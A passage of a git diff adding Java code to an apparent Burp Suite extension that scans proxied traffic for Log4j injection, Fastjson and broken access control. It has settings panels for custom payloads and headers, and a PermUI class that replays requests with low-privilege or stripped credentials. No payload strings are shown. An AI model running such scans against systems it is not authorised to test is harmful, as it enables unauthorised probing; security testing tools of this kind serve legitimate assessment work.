GridConstraints(4, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + savePayloadButton = new JButton(); + savePayloadButton.setText("保存payload"); + panel5.add(savePayloadButton, new GridConstraints(5, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + saveHeaderButton = new JButton(); + saveHeaderButton.setText("保存header"); + panel5.add(saveHeaderButton, new GridConstraints(5, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JPanel panel6 = new JPanel(); + panel6.setLayout(new BorderLayout(0, 0)); + panel4.add(panel6, BorderLayout.CENTER); + final JSplitPane splitPane1 = new JSplitPane(); + splitPane1.setDividerSize(1); + splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane1.setResizeWeight(0.5); + panel6.add(splitPane1, BorderLayout.CENTER); + final JPanel panel7 = new JPanel(); + panel7.setLayout(new BorderLayout(0, 0)); + splitPane1.setLeftComponent(panel7); + final JLabel label1 = new JLabel(); + label1.setText("自定义header"); + panel7.add(label1, BorderLayout.NORTH); + headertextField = new JEditorPane(); + panel7.add(headertextField, BorderLayout.CENTER); + final JPanel panel8 = new JPanel(); + panel8.setLayout(new BorderLayout(0, 0)); + splitPane1.setRightComponent(panel8); + final JLabel label2 = new JLabel(); + label2.setText("payload"); + panel8.add(label2, BorderLayout.NORTH); + payloadtextField = new JEditorPane(); + panel8.add(payloadtextField, BorderLayout.CENTER); + final JPanel panel9 = new JPanel(); + panel9.setLayout(new BorderLayout(0, 0)); + panel3.add(panel9, BorderLayout.CENTER); + final JSplitPane splitPane2 = new JSplitPane(); + splitPane2.setDividerSize(1); + splitPane2.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane2.setResizeWeight(0.5); + panel9.add(splitPane2, BorderLayout.CENTER); + final JScrollPane scrollPane1 = new JScrollPane(); + splitPane2.setLeftComponent(scrollPane1); + Log4jModel log4jModel = new Log4jModel(); + log4jTable = new URLTable(log4jModel); + scrollPane1.setViewportView(log4jTable); + final JSplitPane splitPane3 = new JSplitPane(); + splitPane3.setDividerSize(1); + splitPane3.setResizeWeight(0.5); + splitPane2.setRightComponent(splitPane3); + tabbedPane2 = new JTabbedPane(); + splitPane3.setLeftComponent(tabbedPane2); + + HRequestTextEditor = Utils.callbacks.createMessageEditor(Log4jUI.this, true); + HResponseTextEditor = Utils.callbacks.createMessageEditor(Log4jUI.this, false); + tabbedPane2.addTab("request", HRequestTextEditor.getComponent()); + tabbedPane3 = new JTabbedPane(); + splitPane3.setRightComponent(tabbedPane3); + + tabbedPane3.addTab("response", HResponseTextEditor.getComponent()); + + + } + + private void setupData() { + Utils.callbacks.registerHttpListener(this); + try { + // 检测是否开启被动扫描 + ConfigBean log4jPassiveBox = getConfig("log4j", "log4jPassiveScanBox"); + if (log4jPassiveBox.getValue().equals("true")) { + passiveScan = true; + passiveBox.setSelected(true); + } else { + passiveScan = false; + passiveBox.setSelected(false); + } + // 检测是否开启header检测 + ConfigBean log4jHeaderBox = getConfig("log4j", "log4jHeaderCheckBox"); + headerBox.setSelected(log4jHeaderBox.getValue().equals("true")); + // 检测是dns还是ip检测 + ConfigBean log4jDnsIpCheckBox = getConfig("log4j", "log4jDnsIpCheckBox"); + if (log4jDnsIpCheckBox.getValue().equals("true")) { + dnsIpCheckBox.setText("dns"); + dnsIpCheckBox.setSelected(true); + } else { + dnsIpCheckBox.setText("ip"); + dnsIpCheckBox.setSelected(false); + } + // 检测是否开启原始payload检测 + ConfigBean log4jOrgpayloadCheckBox = getConfig("log4j", "log4jOrgPayloadCheckBox"); + orgpayloadCheckBox.setSelected(log4jOrgpayloadCheckBox.getValue().equals("true")); + // 检测是否开启白名单域名检测 + ConfigBean log4jWhiteDomainCheckBox = getConfig("log4j", "log4jWhiteDomainCheckBox"); + whiteDomainCheckBox.setSelected(log4jWhiteDomainCheckBox.getValue().equals("true")); + // 获取白名单域名 + ConfigBean log4jWhiteDomain = getConfig("log4j", "log4jWhiteDomain"); + whiteDomaintextField.setText(log4jWhiteDomain.getValue()); + // 获取自定义header + List log4jHeader = getHeaderList(); + StringBuilder header = new StringBuilder(); + for (Log4jBean log4j : log4jHeader) { + header.append(log4j.getValue()).append("\n"); + } + headertextField.setText(header.toString()); + + // 获取自定义payload + List log4jPayload = getPayloadList(); + StringBuilder payload = new StringBuilder(); + for (Log4jBean log4j : log4jPayload) { + payload.append(log4j.getValue()).append("\n"); + } + payloadtextField.setText(payload.toString()); + + } catch (Exception e) { + Utils.stderr.println("数据库初始化失败,请联系作者"); + } + // 保存白名单域名 + saveWhiteDomainButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String whiteDomaintextFieldText = whiteDomaintextField.getText(); + ConfigBean log4jWhiteDomain = new ConfigBean("log4j", "log4jWhiteDomain", whiteDomaintextFieldText); + saveConfig(log4jWhiteDomain); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + // 保存header + saveHeaderButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String headertextFieldText = headertextField.getText(); + // 先删除原有的header + deleteHeader(); + // 使用\n分割,然后循环保存 + String[] headers = headertextFieldText.split("\n"); + for (String header : headers) { + Log4jBean log4jHeader = new Log4jBean("header", header); + saveHeader(log4jHeader); + } + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + // 保存payload + savePayloadButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String payloadtextFieldText = payloadtextField.getText(); + // 先删除原有的payload + deletePayload(); + // 使用\n分割,然后循环保存 + String[] payloads = payloadtextFieldText.split("\n"); + for (String payload : payloads) { + Log4jBean log4jPayload = new Log4jBean("payload", payload); + savePayload(log4jPayload); + } + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + refershTableButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + log4jTable.updateUI(); + } + }); + + clearTableButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + log.clear(); + HRequestTextEditor.setMessage(new byte[0], true); + HResponseTextEditor.setMessage(new byte[0], false); + log4jTable.updateUI(); + } + }); + passiveBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (passiveBox.isSelected()) { + passiveScan = true; + ConfigBean log4jPassiveBox = new ConfigBean("log4j", "log4jPassiveScanBox", "true"); + saveConfig(log4jPassiveBox); + } else { + passiveScan = false; + ConfigBean log4jPassiveBox = new ConfigBean("log4j", "log4jPassiveScanBox", "false"); + saveConfig(log4jPassiveBox); + } + } + }); + headerBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (headerBox.isSelected()) { + ConfigBean log4jHeaderBox = new ConfigBean("log4j", "log4jHeaderCheckBox", "true"); + saveConfig(log4jHeaderBox); + } else { + ConfigBean log4jHeaderBox = new ConfigBean("log4j", "log4jHeaderCheckBox", "false"); + saveConfig(log4jHeaderBox); + } + } + }); + paramBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (paramBox.isSelected()) { + ConfigBean log4jParamBox = new ConfigBean("log4j", "log4jParamCheckBox", "true"); + saveConfig(log4jParamBox); + } else { + ConfigBean log4jParamBox = new ConfigBean("log4j", "log4jParamCheckBox", "false"); + saveConfig(log4jParamBox); + } + } + }); + dnsIpCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (dnsIpCheckBox.isSelected()) { + dnsIpCheckBox.setText("dns"); + ConfigBean log4jDnsIpCheckBox = new ConfigBean("log4j", "log4jDnsIpCheckBox", "true"); + saveConfig(log4jDnsIpCheckBox); + } else { + dnsIpCheckBox.setText("ip"); + ConfigBean log4jDnsIpCheckBox = new ConfigBean("log4j", "log4jDnsIpCheckBox", "false"); + saveConfig(log4jDnsIpCheckBox); + } + } + }); + + orgpayloadCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (orgpayloadCheckBox.isSelected()) { + ConfigBean log4jOrgpayloadCheckBox = new ConfigBean("log4j", "log4jOrgPayloadCheckBox", "true"); + saveConfig(log4jOrgpayloadCheckBox); + } else { + ConfigBean log4jOrgpayloadCheckBox = new ConfigBean("log4j", "log4jOrgPayloadCheckBox", "false"); + saveConfig(log4jOrgpayloadCheckBox); + } + } + }); + whiteDomainCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (whiteDomainCheckBox.isSelected()) { + ConfigBean log4jWhiteDomainCheckBox = new ConfigBean("log4j", "log4jWhiteDomainCheckBox", "true"); + saveConfig(log4jWhiteDomainCheckBox); + } else { + ConfigBean log4jWhiteDomainCheckBox = new ConfigBean("log4j", "log4jWhiteDomainCheckBox", "false"); + saveConfig(log4jWhiteDomainCheckBox); + } + } + }); + + } + + @Override + public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse iHttpRequestResponse) { + + if (passiveScan && toolFlag == IBurpExtenderCallbacks.TOOL_PROXY && !messageIsRequest) { + synchronized (log) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Check(new IHttpRequestResponse[]{iHttpRequestResponse}); + } + }); + thread.start(); + } + } + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + setupUI(); + setupData(); + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "log4j"; + } + + static class Log4jModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "#"; + case 1: + return "Method"; + case 2: + return "URL"; + case 3: + return "Status"; + case 4: + return "Length"; + default: + return ""; + } + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + LogEntry logEntry = log.get(rowIndex); + switch (columnIndex) { + case 0: + return logEntry.id; + case 1: + return logEntry.extensionMethod; + case 2: + return logEntry.url; + case 3: + return logEntry.res; + case 4: + return logEntry.length; + default: + return null; + } + } + } + + public static class LogEntry { + final int id; + final String extensionMethod; + final String url; + final String length; + final String res; + + final IHttpRequestResponse requestResponse; + + public LogEntry(int id, String extensionMethod, String url, String res, String length, IHttpRequestResponse requestResponse) { + this.id = id; + this.extensionMethod = extensionMethod; + this.url = url; + this.length = length; + this.res = res; + this.requestResponse = requestResponse; + } + } + + class URLTable extends JTable { + public URLTable(TableModel tableModel) { + super(tableModel); + } + + @Override + public void changeSelection(int rowIndex, int columnIndex, boolean toggle, boolean extend) { + LogEntry logEntry = log.get(rowIndex); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + + super.changeSelection(rowIndex, columnIndex, toggle, extend); + } + } +} diff --git a/src/main/java/burp/ui/MainUI.java b/src/main/java/burp/ui/MainUI.java new file mode 100644 index 0000000..d621118 --- /dev/null +++ b/src/main/java/burp/ui/MainUI.java @@ -0,0 +1,57 @@ +package burp.ui; + +import burp.IBurpExtenderCallbacks; +import burp.ITab; +import burp.utils.Utils; + +import javax.swing.*; +import java.awt.*; +import java.util.ArrayList; +import java.util.List; + +public class MainUI extends JPanel implements ITab { + private static JTabbedPane mainPanel; + IBurpExtenderCallbacks callbacks; + + public MainUI(IBurpExtenderCallbacks callbacks) { + this.callbacks = callbacks; + try { + mainPanel = new JTabbedPane(); + for (int i = 0; i < init().size(); i++) { + try { + Class clazz = Class.forName(init().get(i)); + UIHandler ui = (UIHandler) clazz.newInstance(); + ui.init(); + mainPanel.addTab(ui.getTabName(), ui.getPanel(callbacks)); + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } + } + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } + } + + public List init() { + List UiList = new ArrayList(); + + UiList.add("burp.ui.AuthUI"); + UiList.add("burp.ui.SqlUI"); + UiList.add("burp.ui.PermUI"); + UiList.add("burp.ui.FastjsonUI"); + UiList.add("burp.ui.Log4jUI"); + UiList.add("burp.ui.ConfigUI"); + + return UiList; + } + + @Override + public String getTabCaption() { + return Utils.name; + } + + @Override + public Component getUiComponent() { + return mainPanel; + } +} diff --git a/src/main/java/burp/ui/PermUI.java b/src/main/java/burp/ui/PermUI.java new file mode 100644 index 0000000..6bccf39 --- /dev/null +++ b/src/main/java/burp/ui/PermUI.java @@ -0,0 +1,626 @@ +package burp.ui; + +import burp.*; +import burp.bean.ConfigBean; +import burp.utils.Utils; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import org.springframework.util.DigestUtils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import static burp.dao.ConfigDao.getConfig; +import static burp.dao.ConfigDao.saveConfig; +import static burp.utils.Utils.getSuffix; + + +public class PermUI implements UIHandler, IMessageEditorController, IHttpListener { + private static final List log = new ArrayList<>(); + private static JTable permTable; + private static boolean whiteDomain; + private static boolean passiveScan; + private static final List parameterList = new ArrayList<>(); + private static final List urlHashList = new ArrayList<>(); + private JPanel panel; + private JTabbedPane tabbedPane2; + private JPanel originTabbedPane; + private JPanel lowTabbedPane; + private JPanel noTabbedPane; + private JPanel permleftJpanel; + private JCheckBox permPassiveCheckBox; + private JCheckBox permWhiteDomainCheckBox; + private JTextField permWhiteDomaintextField; + private JButton permRefershButton; + private JButton permClearButton; + private JButton permSaveDomainButton; + private JButton permSaveAuthButton; + private JEditorPane permLowEditorPane1; + private JEditorPane permNoEditorPane1; + private JPanel permrightJpanel; + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor originarequest; + private IMessageEditor originaresponse; + private IMessageEditor lowerrequest; + private IMessageEditor lowerresponse; + private IMessageEditor norequest; + private IMessageEditor noresponse; + + public static void Check(IHttpRequestResponse[] responses) { + IHttpRequestResponse baseRequestResponse = responses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String method = analyzeRequest.getMethod(); + String url = analyzeRequest.getUrl().toString(); + List paraLists = analyzeRequest.getParameters(); + for (IParameter paraList : paraLists) { + String paraName = paraList.getName(); + parameterList.add(paraName); + } + if (!checkUrlHash(method + url + parameterList.toString())) { + return; + } + + try { + // 静态资源不检测 + List suffix = getSuffix(); + if (!suffix.isEmpty()) { + for (String s : suffix) { + if (url.endsWith(s) || url.contains(s)) { + return; + } + } + } + + if (whiteDomain) { + ConfigBean configPermWhiteDomain = getConfig("perm", "permWhiteDomain"); + if (configPermWhiteDomain.getValue().isEmpty()) { + JOptionPane.showMessageDialog(null, "请先填写白名单域名", "提示", JOptionPane.ERROR_MESSAGE); + return; + } + if (!url.contains(configPermWhiteDomain.getValue())) { + return; + } + } + + // 原始请求 + List originalheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + byte[] postMessage = Utils.helpers.buildHttpMessage(originalheaders, body); + IHttpRequestResponse originalRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), postMessage); + byte[] responseBody = originalRequestResponse.getResponse(); + String originallength = ""; + if (responseBody != null) { + IResponseInfo originalReqResponse = Utils.helpers.analyzeResponse(responseBody); + List headers = originalReqResponse.getHeaders(); + for (String header : headers) { + if (header.contains("Content-Length")) { + originallength = header.split(":")[1].trim(); + break; + } + } + } + if (originallength.isEmpty()) { + assert responseBody != null; + originallength = String.valueOf(responseBody.length); + } + + + // 低权限请求 + List lowheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + ConfigBean permLow = getConfig("perm", "permLowAuth"); + String lowAuthText = permLow.getValue(); + if (lowAuthText.contains("|XXXXX|")) { + String[] lowAuths = lowAuthText.split("\\|XXXXX\\|"); + for (String lowAuth : lowAuths) { + String head = lowAuth.split(":")[0]; + boolean headerFound = false; + for (int i = 0; i < lowheaders.size(); i++) { + String lowheader = lowheaders.get(i); + if (lowheader.contains(head)) { + lowheaders.set(i, lowAuth); + headerFound = true; + break; + } + } + if (!headerFound) { + lowheaders.add(lowAuth); + } + } + } else { + String head = lowAuthText.split(":")[0]; + boolean headerFound = false; + + for (int i = 0; i < lowheaders.size(); i++) { + String lowheader = lowheaders.get(i); + if (lowheader.contains(head)) { + lowheaders.set(i, lowAuthText); + headerFound = true; + break; + } + } + + if (!headerFound) { + lowheaders.add(lowAuthText); + } + } + byte[] lowMessage = Utils.helpers.buildHttpMessage(lowheaders, body); + IHttpRequestResponse lowRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), lowMessage); + byte[] lowresponseBody = lowRequestResponse.getResponse(); + String lowlength = ""; + IResponseInfo lowReqResponse = Utils.helpers.analyzeResponse(lowresponseBody); + List lowReqResheaders = lowReqResponse.getHeaders(); + for (String header : lowReqResheaders) { + if (header.contains("Content-Length")) { + lowlength = header.split(":")[1].trim(); + break; + } + } + if (lowlength.isEmpty()) { + lowlength = String.valueOf(lowresponseBody.length); + } + + + // 无权限请求 + List noheaders = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + ConfigBean permNo = getConfig("perm", "permNoAuth"); + String noAuthText = permNo.getValue(); + if (noAuthText.contains("|XXXXX|")) { + String[] noAuths = noAuthText.split("\\|XXXXX\\|"); + for (String noAuth : noAuths) { + noheaders.removeIf(noheader -> noheader.contains(noAuth)); + } + } else { + noheaders.removeIf(noheader -> noheader.contains(noAuthText)); + } + byte[] noMessage = Utils.helpers.buildHttpMessage(noheaders, body); + IHttpRequestResponse noRequestResponse = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), noMessage); + byte[] noresponseBody = noRequestResponse.getResponse(); + String nolength = ""; + IResponseInfo noReqResponse = Utils.helpers.analyzeResponse(noresponseBody); + List noReqResheaders = noReqResponse.getHeaders(); + for (String header : noReqResheaders) { + if (header.contains("Content-Length")) { + nolength = header.split(":")[1].trim(); + break; + } + } + if (nolength.isEmpty()) { + nolength = String.valueOf(noresponseBody.length); + } + String isSuccess = "×"; + if (originallength.equals(lowlength) && lowlength.equals(nolength)) { + isSuccess = "√"; + } else { + isSuccess = "×"; + } + + add(method, url, originallength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse); + } catch (Exception e) { + Utils.stderr.println(e.getMessage()); + } + } + + public static boolean checkUrlHash(String url) { + parameterList.clear(); + String md5 = DigestUtils.md5DigestAsHex(url.getBytes()); + if (urlHashList.contains(md5)) { + return false; + } else { + urlHashList.add(md5); + return true; + } + } + + private static void add(String method, String url, String originalength, String lowlength, String nolength, String isSuccess, IHttpRequestResponse baseRequestResponse, IHttpRequestResponse lowRequestResponse, IHttpRequestResponse noRequestResponse) { + synchronized (log) { + int id = log.size(); + log.add(new LogEntry(id, method, url, originalength, lowlength, nolength, isSuccess, baseRequestResponse, lowRequestResponse, noRequestResponse)); + permTable.updateUI(); + } + } + + private void setupUI() { + Utils.callbacks.registerHttpListener(this); + panel = new JPanel(); + panel.setLayout(new BorderLayout(0, 0)); + permleftJpanel = new JPanel(); + permleftJpanel.setLayout(new BorderLayout(0, 0)); + panel.add(permleftJpanel, BorderLayout.CENTER); + final JSplitPane splitPane1 = new JSplitPane(); + splitPane1.setDividerSize(2); + splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane1.setResizeWeight(0.3); + permleftJpanel.add(splitPane1, BorderLayout.CENTER); + final JScrollPane scrollPane1 = new JScrollPane(); + splitPane1.setLeftComponent(scrollPane1); + PermModel permModel = new PermModel(); + permTable = new URLTable(permModel); + scrollPane1.setViewportView(permTable); + tabbedPane2 = new JTabbedPane(); + splitPane1.setRightComponent(tabbedPane2); + originTabbedPane = new JPanel(); + originTabbedPane.setLayout(new BorderLayout(0, 0)); + tabbedPane2.addTab("原始请求包", originTabbedPane); + final JSplitPane splitPane2 = new JSplitPane(); + splitPane2.setDividerSize(1); + splitPane2.setResizeWeight(0.5); + originarequest = Utils.callbacks.createMessageEditor(PermUI.this, true); + originaresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); + splitPane2.setLeftComponent(originarequest.getComponent()); + splitPane2.setRightComponent(originaresponse.getComponent()); + originTabbedPane.add(splitPane2, BorderLayout.CENTER); + lowTabbedPane = new JPanel(); + lowTabbedPane.setLayout(new BorderLayout(0, 0)); + tabbedPane2.addTab("低权限请求包", lowTabbedPane); + final JSplitPane splitPane3 = new JSplitPane(); + splitPane3.setDividerSize(1); + splitPane3.setResizeWeight(0.5); + lowerrequest = Utils.callbacks.createMessageEditor(PermUI.this, true); + lowerresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); + splitPane3.setLeftComponent(lowerrequest.getComponent()); + splitPane3.setRightComponent(lowerresponse.getComponent()); + lowTabbedPane.add(splitPane3, BorderLayout.CENTER); + noTabbedPane = new JPanel(); + noTabbedPane.setLayout(new BorderLayout(0, 0)); + tabbedPane2.addTab("无权限请求包", noTabbedPane); + final JSplitPane splitPane4 = new JSplitPane(); + splitPane4.setDividerSize(1); + splitPane4.setResizeWeight(0.5); + norequest = Utils.callbacks.createMessageEditor(PermUI.this, true); + noresponse = Utils.callbacks.createMessageEditor(PermUI.this, false); + splitPane4.setLeftComponent(norequest.getComponent()); + splitPane4.setRightComponent(noresponse.getComponent()); + noTabbedPane.add(splitPane4, BorderLayout.CENTER); + permrightJpanel = new JPanel(); + permrightJpanel.setLayout(new BorderLayout(0, 0)); + panel.add(permrightJpanel, BorderLayout.EAST); + final JSplitPane splitPane5 = new JSplitPane(); + splitPane5.setDividerSize(0); + splitPane5.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane5.setResizeWeight(0.3); + permrightJpanel.add(splitPane5, BorderLayout.CENTER); + final JPanel panel2 = new JPanel(); + panel2.setLayout(new GridLayoutManager(5, 2, new Insets(0, 0, 0, 0), -1, -1)); + splitPane5.setLeftComponent(panel2); + permPassiveCheckBox = new JCheckBox(); + permPassiveCheckBox.setText("被动扫描"); + panel2.add(permPassiveCheckBox, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + permWhiteDomainCheckBox = new JCheckBox(); + permWhiteDomainCheckBox.setText("白名单域名"); + panel2.add(permWhiteDomainCheckBox, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JLabel label1 = new JLabel(); + label1.setText("白名单域名"); + panel2.add(label1, new GridConstraints(1, 0, 1, 2, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + permWhiteDomaintextField = new JTextField(); + panel2.add(permWhiteDomaintextField, new GridConstraints(2, 0, 1, 2, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + permRefershButton = new JButton(); + permRefershButton.setText("刷新"); + panel2.add(permRefershButton, new GridConstraints(4, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + permClearButton = new JButton(); + permClearButton.setText("清空数据"); + panel2.add(permClearButton, new GridConstraints(4, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + permSaveDomainButton = new JButton(); + permSaveDomainButton.setText("保存白名单"); + panel2.add(permSaveDomainButton, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + permSaveAuthButton = new JButton(); + permSaveAuthButton.setText("保存认证数据"); + panel2.add(permSaveAuthButton, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JSplitPane splitPane6 = new JSplitPane(); + splitPane6.setDividerSize(0); + splitPane6.setOrientation(JSplitPane.VERTICAL_SPLIT); + splitPane6.setResizeWeight(0.5); + splitPane5.setRightComponent(splitPane6); + final JPanel panel3 = new JPanel(); + panel3.setLayout(new BorderLayout(0, 0)); + splitPane6.setLeftComponent(panel3); + final JLabel label2 = new JLabel(); + label2.setText("低权限认证请求头信息"); + panel3.add(label2, BorderLayout.NORTH); + permLowEditorPane1 = new JEditorPane(); + panel3.add(permLowEditorPane1, BorderLayout.CENTER); + final JPanel panel4 = new JPanel(); + panel4.setLayout(new BorderLayout(0, 0)); + splitPane6.setRightComponent(panel4); + final JLabel label3 = new JLabel(); + label3.setText("未授权请求头(输入请求头即可)"); + panel4.add(label3, BorderLayout.NORTH); + permNoEditorPane1 = new JEditorPane(); + panel4.add(permNoEditorPane1, BorderLayout.CENTER); + } + + private void setupData() { + + + ConfigBean configPassiveScan = getConfig("perm", "permPassiveScanBox"); + if (configPassiveScan.getValue().equals("true")) { + permPassiveCheckBox.setSelected(true); + passiveScan = true; + } else { + permPassiveCheckBox.setSelected(false); + passiveScan = false; + } + ConfigBean configWhiteDomain = getConfig("perm", "permWhiteDomain"); + permWhiteDomaintextField.setText(configWhiteDomain.getValue()); + ConfigBean configLowAuth = getConfig("perm", "permLowAuth"); + if (configLowAuth.getValue().contains("|XXXXX|")) { + String[] lowAuths = configLowAuth.getValue().split("\\|XXXXX\\|"); + StringBuilder lowAuthText = new StringBuilder(); + for (String lowAuth : lowAuths) { + lowAuthText.append(lowAuth).append("\n"); + } + permLowEditorPane1.setText(lowAuthText.toString()); + } else { + permLowEditorPane1.setText(configLowAuth.getValue()); + } + ConfigBean configNoAuth = getConfig("perm", "permNoAuth"); + if (configNoAuth.getValue().contains("|XXXXX|")) { + String[] noAuths = configNoAuth.getValue().split("\\|XXXXX\\|"); + StringBuilder noAuthText = new StringBuilder(); + for (String noAuth : noAuths) { + noAuthText.append(noAuth).append("\n"); + } + permNoEditorPane1.setText(noAuthText.toString()); + } else { + permNoEditorPane1.setText(configNoAuth.getValue()); + } + ConfigBean configWhiteDomainCheckBox = getConfig("perm", "permWhiteDomainCheckBox"); + if (configWhiteDomainCheckBox.getValue().equals("true")) { + permWhiteDomainCheckBox.setSelected(true); + whiteDomain = true; + } else { + permWhiteDomainCheckBox.setSelected(false); + whiteDomain = false; + } + + permPassiveCheckBox.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + if (permPassiveCheckBox.isSelected()) { + passiveScan = true; + ConfigBean configBean = new ConfigBean("perm", "permPassiveScanBox", "true"); + saveConfig(configBean); + } else { + passiveScan = false; + ConfigBean configBean = new ConfigBean("perm", "permPassiveScanBox", "false"); + saveConfig(configBean); + } + } + }); + permRefershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + permTable.updateUI(); + } + }); + permClearButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + log.clear(); + originarequest.setMessage(new byte[0], true); + originaresponse.setMessage(new byte[0], false); + lowerrequest.setMessage(new byte[0], false); + lowerresponse.setMessage(new byte[0], false); + norequest.setMessage(new byte[0], false); + noresponse.setMessage(new byte[0], false); + permTable.updateUI(); + } + }); + permSaveAuthButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String low = permLowEditorPane1.getText(); + String no = permNoEditorPane1.getText(); + if (low.isEmpty() || no.isEmpty()) { + 